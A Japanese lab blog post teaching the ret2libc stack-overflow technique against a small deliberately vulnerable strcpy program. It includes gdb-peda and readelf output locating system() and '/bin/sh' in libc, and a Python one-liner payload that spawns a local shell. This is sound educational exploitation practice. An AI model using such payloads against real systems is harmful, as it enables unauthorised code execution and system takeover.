はじめに
弊研究室の某課題について考える12日目の記事です。
前回のret2pltを応用したものになります
return to libc
前回EIPを奪った後にその宛先アドレスをpltに変え、変数を実行しました。ですがret2pltはpltにある関数、つまりプログラムで使用される関数しか利用できません。
しかしライブラリは読み込んでいるのでライブラリの関数アドレスが分かればpltによる動的な解決をせずとも関数を実行することができます。
ということで今回はret2libcをやっていきます。
ret2libcをやってみる
今回のサンプルプログラムも前回と一緒
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[]){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
char buf[100] = {};
strcpy(buf,argv[1]);
printf("Hi ");
puts(buf);
return 0;
}
pltのアドレスはobjdumpで簡単にとれましたがlibcのアドレスはちょっと調べる必要があります。
gdb-peda$ start
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xb7fc2000 --> 0x1acda8
ECX: 0x2862d6b5
EDX: 0xbffff694 --> 0xb7fc2000 --> 0x1acda8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff668 --> 0x0
ESP: 0xbffff660 --> 0xb7fc2000 --> 0x1acda8
EIP: 0x8048532 (<main+5>: and esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804852e <main+1>: mov ebp,esp
0x8048530 <main+3>: push edi
0x8048531 <main+4>: push ebx
=> 0x8048532 <main+5>: and esp,0xfffffff0
0x8048535 <main+8>: sub esp,0x100
0x804853b <main+14>: mov eax,ds:0x804a040
0x8048540 <main+19>: mov DWORD PTR [esp+0x4],0x0
0x8048548 <main+27>: mov DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff660 --> 0xb7fc2000 --> 0x1acda8
0004| 0xbffff664 --> 0x0
0008| 0xbffff668 --> 0x0
0012| 0xbffff66c --> 0xb7e2eaf3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0016| 0xbffff670 --> 0x1
0020| 0xbffff674 --> 0xbffff704 --> 0xbffff82b ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out")
0024| 0xbffff678 --> 0xbffff70c --> 0xbffff856 ("XDG_SESSION_ID=8")
0028| 0xbffff67c --> 0xb7fece3a (<call_init+26>: add ebx,0x121c6)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Temporary breakpoint 1, 0x08048532 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e55310 <__libc_system>
libcのsystem関数のアドレスがわかりました。後は/bin/shという文字列を探します。
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f77cec ("/bin/sh")
ということでret2pltのようにsystem関数のアドレスをEIPに、/bin/shの文字列を引数として積みます
ちなみにsystemの調べ方にはreadelfを使う方法もあります。
$ ldd ./a.out
linux-gate.so.1 => (0xb7fff000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e36000)
/lib/ld-linux.so.2 (0x80000000)
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system@
620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
この00040310がlibcのベースからのオフセットになります。なのでlibcのベースを求めて計算する必要がでてきます。
libcのベースは/proc/pid/mapsを見るか
gdb-peda$ info proc mappings
process 9397
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/tsugumiyagi/Documents/pwn/pwn5/a.out
0x8049000 0x804a000 0x1000 0x0 /home/tsugumiyagi/Documents/pwn/pwn5/a.out
0x804a000 0x804b000 0x1000 0x1000 /home/tsugumiyagi/Documents/pwn/pwn5/a.out
0xb7e14000 0xb7e15000 0x1000 0x0
0xb7e15000 0xb7fc0000 0x1ab000 0x0 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc0000 0xb7fc2000 0x2000 0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc2000 0xb7fc3000 0x1000 0x1ac000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc3000 0xb7fc6000 0x3000 0x0
0xb7fdb000 0xb7fdd000 0x2000 0x0
0xb7fdd000 0xb7fde000 0x1000 0x0 [vdso]
0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000 0x21000 0x0 [stack]
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /home/tsugumiyagi/Documents/pwn/pwn5/a.out
0x08049000 0x0804a000 r--p /home/tsugumiyagi/Documents/pwn/pwn5/a.out
0x0804a000 0x0804b000 rw-p /home/tsugumiyagi/Documents/pwn/pwn5/a.out
0xb7e14000 0xb7e15000 rw-p mapped
0xb7e15000 0xb7fc0000 r-xp /lib/i386-linux-gnu/libc-2.19.so
0xb7fc0000 0xb7fc2000 r--p /lib/i386-linux-gnu/libc-2.19.so
0xb7fc2000 0xb7fc3000 rw-p /lib/i386-linux-gnu/libc-2.19.so
0xb7fc3000 0xb7fc6000 rw-p mapped
0xb7fdb000 0xb7fdd000 rw-p mapped
0xb7fdd000 0xb7fde000 r-xp [vdso]
0xb7fde000 0xb7ffe000 r-xp /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 r--p /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 rw-p /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000 rw-p [stack]
で見ることができます。後はexploitコードです
$ python -c 'print "A"*112+"\x10\x53\xe5\xb7" + "BBBB" + "\xec\x7c\xf7\xb7"' | ./a.out sh$
これでシェルが起動します。